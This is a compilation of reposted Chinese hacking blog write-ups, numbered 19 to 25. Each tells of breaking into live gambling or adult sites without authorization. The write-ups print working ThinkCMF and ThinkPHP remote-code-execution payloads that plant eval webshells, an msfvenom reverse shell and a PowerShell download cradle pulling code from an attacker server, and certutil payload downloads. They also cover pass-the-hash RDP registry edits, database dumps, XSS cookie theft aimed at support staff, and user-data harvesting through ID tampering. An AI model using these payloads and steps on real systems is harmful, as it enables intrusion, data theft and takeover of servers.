  19. 在一个风和日丽的晚上,正兴奋逛Twitter的我,忽然发现下面推荐关注有这么一个xxxx视频的名片。 这这这这,我可是正经人,不知道Twitter为啥会给我推送这些。这必须盘他,打开推广链接,辣眼睛,下载该app。 这app一打开就给人一股熟悉的味道,一看感觉很有可能是tp二开的。 注册手机号fiddler抓包改包,其实内容更辣眼睛 抓包获取url发现这不就是thinkcmf吗?满脸淫笑的想这还不拿下,前台那么多rce,就算有狗也能秒之,然而很快被现实打脸。 命令执行POC: payload1: /index.php?g=api&m=Oauth&a=fetch&content=<php>file_put_contents('pass.php','<?php @eval($_POST[1]); ?>')</php> payload2: /?a=fetch&;templateFile=public/index&prefix=''&content=<php>file_put_contents('pass.php','<?php @eval($_POST[1]); ?>')</php> payload3: ?a=display&templateFile=%3C?php%20file_put_contents(%27m.php%27,%27%3C%3fphp+eval($_POST[%22X%22])%3b%3F%3E%27);die();?%3E然后任意文件读取: /?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log最后在目录下会生成一个m.php一句话木马文件,当然也可以写成其他的payload。 一顿操作猛如虎,一看文件404,难道就要凉凉了? 不怕,另外该APP,还有SQL注入: 注入点1: /index.php?g=Appapi&m=Video&videoid=1 注入点2: /index.php?g=Appapi&m=Auth&a=index&uid=128889&token=b69cda34dff2fa978a94b5583e7f5c9a 注入也凉凉,看来我这是要我掏出0day的节奏?算了还是忍忍吧。经过一番鼓捣研究,细节就不贴了,此处省略千字。说多了都是泪........ 最后终于出了phpinfo,版本7.2以上 payload: /?a=fetch&content=<?=phpinfo();exit();这不离shell更近一步了,然后看disable_functions禁用这么求多。 这里尝试了使用assert函数写入,以为成了,结果还是返回1 @assert函数不行,这里就可以尝试读取文件file_get_contents,读取数据库配置文件 在继续读取config.php文件时,突然想起之前下载app的时候是放在阿里云oss里面的,按理说他的配置文件里面应该有阿里云key和id,但现实终究是那么残酷,连aliyun这几个字母都没看到。 读取一些配置文件没有东西,数据库和redis不可外连,于是就准备写个shell上去在仔细翻下,尝试用file_put_contents读取文件。 好像不行,难道是参数问题,file_get_contents都能读任意文件,或者是目录不可写?尝试写在/tmp/1.txt也是同样的报错,想到php还要其他写文件的函数,于是w3school翻了下 写入123到i.txt,成功写入文件 尝试写入php一句话,提示模板不存在,该怎么办?眼看shell到手了。仔细看fwrite参数 ,w+是打开写入,r+是追加,难道我要一个字符一个字符写入?没错,就是要一个字符一个字符写入。?a=fetch&content=%3C?=@$fp=fopen(%221.php%22,%27a+%27);%20fwrite($fp,%27<%27);exit(); 最终可getshell 绕过命令执行,反弹shell 然后打包+脱裤 mysqldump -h127.0.0.1 -uxxxx -pxxxx xxx >xxx.sqltar -cvf 1.tar /www/wwwroot/xxx/ 以为这就完了 ?no,看了端口链接以及登陆ip还有搞头,后续待我钓到管理员pc,出续集,另外cmf密码默认加密 <?php function setPass($pass) { $authcode = 'rCt52pF2cnnKNB3Hkp'; $pass = "###" . md5(md5($authcode . $pass)); return $pass; } echo setPass('123456') ?> 进后台的话,明文加密替管理员密文,或者加密明文去撞。 转载于原文链接: https://mp.weixin.qq.com/s/1gI8LC_FBFWG_ar3j1dZJw
  20. 拿到目标站这个页面 还没开始就已经准备放弃 然后咱看右上角有个积分商城,心如死灰的我点进去 看到这个页面直接摔门出去抽烟十分钟[别问为什么一问就是之前没搞成 开始信息收集吧 拿到这个积分商城把域名放进fofa 得到真实ip以后找到了宝塔后台登录面板 然后用域名/ip对目录进行扫描[御剑超大字典那款]看着语言栏勾选啊,还不知道啥脚本语言域名后面直接跟上index.php[有页面]、index.jsp[404]、index.asp[404]好嘞勾上php得到后台 像这样的页面源码很少的就碰运气找特征来试 在fofa中搜索 很多页面都是显示onethink,然后放百度搜一下 确定了是这个框架并且是基于thinkphp开发的[这里有个思路:当我们用tp框架漏洞去打的时候如果不成功,那么我们就可以利用找到的cms进行代码审计,基于我们上面已经找到了宝塔登录面板那么我们可以审计任意文件读取得到宝塔用户名密码,计划任务getshell]利用tp漏洞扫描工具获得POC debug报错出来是tp5.0.1搜了一下找到了日志路径尝试利用日志包含一直没成功后来发现他的日志到了一定的数量就会清空且phpinfo页面会占有一定的kb所以要通过burp让他的日志清空再进行包含把url编码抓包给转换成<?php phpinfo();?> //具体原因见[漏洞汇总 文件包含] 发送send时日志文件在burp里面没显示完马上就没有了此时再回头看最初POC当POC成功的时候下面会有debug信息 所以我们把注意力放在Raw当执行成功时会显示以下信息提取关键特征 提取关键特征在Raw里面进行搜索 所以当如果<?php phpinfo();?>包含进去了的话就会有这两个特征重复刚才的操作把我们的<?php phpinfo();?> 写进日志抓包把url的%3C?php%20phpinfo();?%3E转换成<?php phpinfo();?>这里要注意,他的日志到了一定量的时候就会被清空就包含不了我们的恶意代码当我们写<?php phpinfo();?>在日志时候,每发送一次就要访问日志查看是否存在<?php phpinfo();?> 这里我试了三次,成功包含寻找特征(成功包含)剩下的getshell就不说了太简单了,只要包含进去了执行了getshell不是问题 转载于原文链接: https://mp.weixin.qq.com/s/vE5QQx0FI_0OWVQ-6Uc9xg
  21. 前言 喜欢看电影但又喜欢白嫖,所以经常在一些影视站点观看,偶尔会弹出一些色懒广告,最近公众号也没怎么更新就顺手找到一个色懒约P的广告试试由于尺度比较大打码比较严重简单总结色懒视频---引用外部x站的播放源 2.选X----后台都是城市和百度的照片乱七八糟的介绍,假的 3.预约---菠菜游戏,通过诱导方式引导下注 看到这是不是心动了,在放一张后台的数据实战经过 通过域名查ip找到找了后台,xx娱乐,扶墙找了一波源码,找到了类似源码以及搭建教程泄露了站点的ip一般的站点演示都附带了演示账号密码后台以及各种指纹特征 通过演示站点的指纹和默认账号密码找到一批同类型的站点,基本都是通过色懒视频约p噱头引导玩菠菜 后台开奖预设,都是骗局,希望看到这里可以分享此篇文章给你的色懒朋友 前期是通过找源码找演示站找指纹的方式搞进去的,还有一些站点,就是正常的渗透方式 首先注册账号 看到提示用户名可以自定义直接顺带上xss代码,比较鸡肋,后台很难触发 后台用户展示是这样,管理点击用户详细信息才会触发 还有就是基本上都是养鱼式引导,小额提现,大额各种阻挠 最后统计3k多人小台 找到管理员大概位置 转载于原文链接: https://mp.weixin.qq.com/s/IIyt-m1ul0UPXvocmwCfag
  22. 0x00 前言 闲着无聊,网上随便找了一个菠菜进行简单测试,并做笔记记录,大佬们轻喷,有什么不足之处请指教。 0x01 弱口令访问网站就是一个登录页面,没有验证码直接bp开启,成功爆出弱口令admin/123456,直接进入后台。 0x02 注入拿下权限翻看了很多功能点,在一处功能点发现上传接口,并尝试上传文件,发现无法上传,加了白名单。直接选择放弃,继续寻找。在某一个http://url/GroupMember.aspx?gid= 参数上加上单引号,直接报错,SQL注入这不就来了么。 说干就干,直接SQLMAP。 发现为MSSQL,且DBA权限,直接--os-shell 上线MSF 已经获取普通权限,接下来就是上线msf提权。msf生成powershell脚本,并放置在网站目录下。 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=8888 -f psh-reflection >xx.ps1 Vps开启监听 使用powershell上线session powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/xx.ps1'))" 如果想要通过url拼接堆叠执行powershell会存在一个问题,就是单引号闭合问题。我们可以通过对powershell进行编码一下,这样就可以绕过单引号的问题。下面推荐一个不错的网站。 https://r0yanx.com/tools/java_exec_encode/提权 session已经上线,接下来目标就是获取system权限。很幸运直接getsystem可以获取system权限。如果需要提权推荐土豆家族提权,实战中成功率很高,影响的服务器版本也很多。 迁移一下进程,防止进程掉线。 远程登录服务器 发现服务器开启3389端口,因为是system权限,且为2012系统,大于2008版本都是无法抓到明文密码,直接修改adminnistrator密码。(实战中不推荐直接修改管理员密码) 利用hash远程登录管理员账号 因为是win2012无法获取明文密码,直接修改管理员密码稍有些不妥。尝试通过获取管理员NTLM远程登录机器。(并非同一台,这只是提供一个思路) 使用hash远程登录RDP,需要开启"Restricted Admin Mode" REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f //开启Restricted Admin modeREG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin" //查看是否已开启0x0则表示开启REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f //开启Restricted Admin modeREG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin" //查看是否已开启0x0则表示开启 成功利用hash远程管理员桌面 04 0x03 其他前期发现1433端口开放着,寻找数据库配置文件,登录数据库。 通过fofa找了一下,资产还是挺多的,且很多都开放1433端口,猜测会存在同一个人部署的网站,尝试用获取的密码对这些资产的1433端口进行爆破,成功撞到几台数据库,且都是sa权限。结束。 转载于原文链接: https://mp.weixin.qq.com/s/kj55hbZMC9jF6xmbzXWu4whttps://xz.aliyun.com/t/12501
  23. 1、偶然间发现一个菠菜站点,遂测试一番,思路如下:既然是菠菜站,肯定会让用户注册,否则怎么收钱了?注册这种和用户强交互的页面,可能存在的漏洞如下: sql注入:用户输入的账号信息,如果不经过滤直接用来写入或查询数据库,肯定存在sql注入xss:在输入框输入的个人信息,大概率会被展示在用户的页面;同时管理员肯定有权限在后台查看用户的个人信息,这里可能会有存储型xss;就算是反射型或DOM型xss,由于这类站点有客服,可以想办法诱骗客户点击链接,达到偷cookie或其他目的;平行越权:用户登陆时、登陆后查看某些页面,此时抓包,如果有类似id字段,通过更改id号可能能看到其他用户、甚至管理员的信息CSRF:修改账号信息,比如密码;或则修改邮箱,再通过邮箱修改密码;支付漏洞:抓包改参数,造成0元支付2、顺着这个思路,不管三七二之一,先上工具试试注册页面,结果如下:发现2个高危的xss; (1)先看第二个:把提示的参数换成检测工具的payload后,页面如下:自己的payload居然被完整的在页面展示,没有任何过滤,高兴死我了; 由于payload本身就在JS内部,所以刚开始并未构造script标签,而是直接用类似 '19736%0a',}%0aalert(666);%0a' 这种payload,目的是让alert(666)直接暴露在后台原有的script标签里,但反复尝试了好多个都不行,只能调整思路,重新构造script标签,这次成功,如下;说明这个xss没误报; 另一个是cookie里面的,把sessionid改了,也能直接出现在页面的html源码;和上面第一个类似,都可以构造script执行自己的js代码;不过由于不知道后台源码,不能确定这里是否是存储型xss,也不能通过构造url诱骗别人点击,我个人觉得意义不大,这里不再验证; 由于目前还无法登陆后台,其他xss是否是存储型还不确定,现阶段暂不继续验证其他xss漏洞; (2)登陆界面抓包,用户名和密码居然明文传输,WTF....... 放过后,又抓到新包,放入repeater尝试:里面有个字段captcha是验证码,删掉后服务器任然会执行,并且不会提示验证码错误,而是用户名或密码错误,省了不少事;先用正确的账号测试,发现返回的status是Y,一切正常; 然后开始用 单引号、双引号、括号、') or 1=1 -- qwe 等各种sql注入的payload尝试,返回都如下:   右边那一串native编码解码后为: “请输入4-15个字元, 仅可输入英文字母以及数字的组合”; 看来是有意做了过滤,只能输入字母和数字,并且不能输入任何特殊符号,这里大概率不存在sql注入;(有些站点前端页面也有说说明,并且实在后台服务器端检验,不是再前端用js检验,想用burp抓包后改字段也不行) (3)平行/垂直越权:有些站点登陆后,cookie里面会带上各种id,比如uid=123、groupid=456、telno=135000387465等等,很容易看出字段的含义,并且更改数值后看到其他用户甚至管理员的数据;但这里的cookie都是各种session,剩下各种数字的字段无法看出啥含义,用burp尝试不同的数值都返回status:N,这条路也走不通;  (4)0元支付:在支付界面抓包,把request包的内容解码,发现里面又sign字段,会对其他字段做校验,改金额的话需要逆向校验算法,再重新计算sign值,这里暂时放弃;PS:这里终于暴露了user_id; 3、通过xray扫描,发现一个resin-viewfile漏洞。 根据扫描提示,改file=xxxx的内容,果然能查到部分文件,比如下面的配置文件;    这个漏洞类似SSRF,可以遍历内网文件;遂在github找漏洞利用的工具,同时用burp跑字典挨个穷举目录和文件,但只发现了如下文件,都是常规的文件和路径,没找到预期的各种配置(比如账号)文件;  想遍历C盘,貌似有防护; 这个漏洞暂时放弃; 4、截至目前,已发现能利用的只有XSS,而且还是反射型的,只能先找个xss平台生成一个偷cookie的script标签,嵌入到有xss漏洞的url,然后找到客服MM,诱骗其点击;结果客服MM不但没上当,还发我新链接,让我重新试试新的站点,WTF.........   好吧,重试就重试,于是继续搞新站点;用账号登陆新站点后,主要找和用户有交互的页面(这里涉及大量传参,可以改动的空间很大,出现漏洞的几率比静态网页大很多);花了大量时间,查看了无数链接后,貌似出现了转机,如下:   这里返回了一个json串,里面有账号名、电话、昵称、权限等各种敏感数据,url里面还有client关键词,难道这是查看用户信息的接口?马上用burp抓包,更改url中纯数字的参数(纯数字意味着索引,而且容易穷举),果然不出所料,炸出部分注册用户的信息:    5、另外,通过xray还发现了CORS漏洞(数以CSRF的一种),也要想办法诱骗客户、管理员或平台其他的用户点击,这里暂时不深入; 这个菠菜站点总结:1、用户在form的输入做了严格限制,sql注入和xss都屏蔽 2、resin漏洞不痛不痒,拿不到敏感数据 3、支付:有sign字段校验,需要先破解校验算法 4、最终有个页面传参未做校验,通过更改数字类参数的值爆破出了部分用户信息; 5、可能是因为业务原因,前端页面暂时没有找到任何上传文件的地方,目前还找不到上传小马的方法; 参考:1、 https://blkstone.github.io/2017/10/30/resin-attack-vectors/ 针对Resin服务的攻击向量整理 转载于原文链接地址: https://www.cnblogs.com/theseventhson/p/13738535.html
  24. 今天在浏览网页时突然发现了一个菠菜站,网站截图我就不发了 都说菠菜站做的比较安全不容易渗透,今天闲来无事就搞了一下。结果只是扫一下端口我的ip都被ban了。这就有点难过了,只能挂代理再看看。 浏览发现这个站应该不是菠菜主站,而是类似一个办理各种活动的旁站。并且在其中一个活动弹窗中发现了惊喜 这里居然可以上传sfz,那不意味着可能存在文件上传漏洞吗?在信息搜集的时候知道了这个服务器是IIS7.5的 前段时间刚好复习了解析漏洞,所以就试一试是否存在该漏洞 将php的大马做成图片马进行上传 从响应结果来看上传成功了,并且还返回了地址。接着就来访问一下 可以看到确实解析成功了,但是遗憾的是不能正常使用。所以接着直接将php大马的后缀改为jpg进行上传 再次访问发现可以正常使用了,进去一看居然里面还有很多人的个人信息和转账截图。不得不说菠菜害人啊。 既然有了webshell了,那么就先看看当前的权限吧 真是难搞额,又一次碰到了低权限。先不考虑提权,继续看看有没有其他敏感文件可利用的。在各种目录下翻找半天终于找到了数据库的配置文件,显示如下 赶紧连接数据库看看 发现了疑似管理员的账户和密码,试了试这个是能够解密出来的,运气还不错 接下来就登录后台看看 结果大失所望,原本以为会有各种用户的信息和资金流之类的。都到了这一步了,只能继续了。就在一边苦逼想思路怎么提权一边感叹菠菜站确实不是浪得虚名的时候,居然在某个文件夹下面发现了服务器的资料文件 注意看这个文件名——“服务器资料”。可真是瞌睡了有人送枕头。从这里知道这个站应该是基于宝塔搭建的,并账户和密码都给出来了,太贴心了。尝试登陆上去看看 如图,几个数据库里面就记录着很多罪恶的金钱交易。具体就不放出来了。 在宝塔上还看到管理员将3389端口改成了19283。结合前面文件里面给出了服务器账户和密码,登陆上看看 通过一顿折腾发现这个服务器下面放了三个关于菠菜的站点,功能还各不相同。一个是主站,一个是办理活动的,还有一个是抢红包的。可真是丰富多彩啊。 转载于原文链接: https://www.kngzs.cn/1705.html
  25. 无意间发现一个thinkphp的菠菜站,最近tp不是刚好有个漏洞吗? 然后就顺手测试了一下,但过程并不太顺利,不过最后还是拿下了,所以特发此文分享下思路。 0x00 一键getshell简单看了下,应该有不少人玩吧? 正好前几天写了个测试工具,先掏出来测试一发。 工具显示存在漏洞 一键getshell,看起来很顺利的样子,哈哈。 但是...小明甩了下头发,发现事情并不简单。 菜刀连接的时候,返回500错误。 我们用火狐的hackbar验证下,没毛病啊,那为什么菜刀连接不上呢? 作为菜逼的我不禁陷入了沉思... 0x01 开始分析因为这个工具我自己写的,从上面getshell的图片中发现调用的是第三个exp,那么我们来分析下看看。 poc如下 /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir 我们在poc后面输入whoami看看权限。 /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami iis权限 但是可以执行部分命令,比如echo dir等等。 0x02 尝试突破拿shell既然可以执行echo 那么我们可以来尝试写入个小马试试,如果成功的话,再利用小马上传大马,说干就干,苦活来了,我们得一行一行写入进去。 注意:代码中的<>符号,要用^^转义。比如<?php转义为^<^?php 逐行写入完成后,访问的时候发现并不能正常运行,这里忘记截图了。。 接下来尝试用以下方法下载文件到服务器上也失败了。 正当我打算放弃的时候,我想起来还有个下载的命令没用。 那就是certutil.exe 说干就干,把大马放到我们服务器上,开启HFS。 然后执行以下命令。 成功进入大马,不过别高兴太早。 小明再次甩了下头发,发现事情更不简单.... 大马可以操作文件上传改名等等,但是无法编辑文件,无法查看文件源码等等,点开显示一片空白。 既然这样,那么我们进数据库看看吧。 我们都知道tp的数据库配置文件在以下这个位置 /application/database.php 大马是无法打开了,那么我们可以用tp的命令执行漏洞尝试用type命令去读取这个文件。 /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=typec:\www\application\database.php 尝试type读取失败,然后又想到copy命令。 把database.php拷贝到web根目录下,改名为1.txt /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=copyc:\www\application\database.php c:\www\public\1.txt 拷贝完成以后访问url/1.txt,发现里面是空的。 0x03 成功突破经历了一系列的失败后,我冷静下来想了下,我们还可以用file_path去读取源码试试。 用大马上传这个文件到根目录下,然后访问,成功拿到数据库配置信息。 然后填写好配置信息,进入数据库。 此文写到这里已经夜深人静,看着桌子上吃了一半的泡面,最后喝了两口汤,关机,睡觉.... 转载于原文链接:https://www.jianshu.com/p/1f9b02780f1c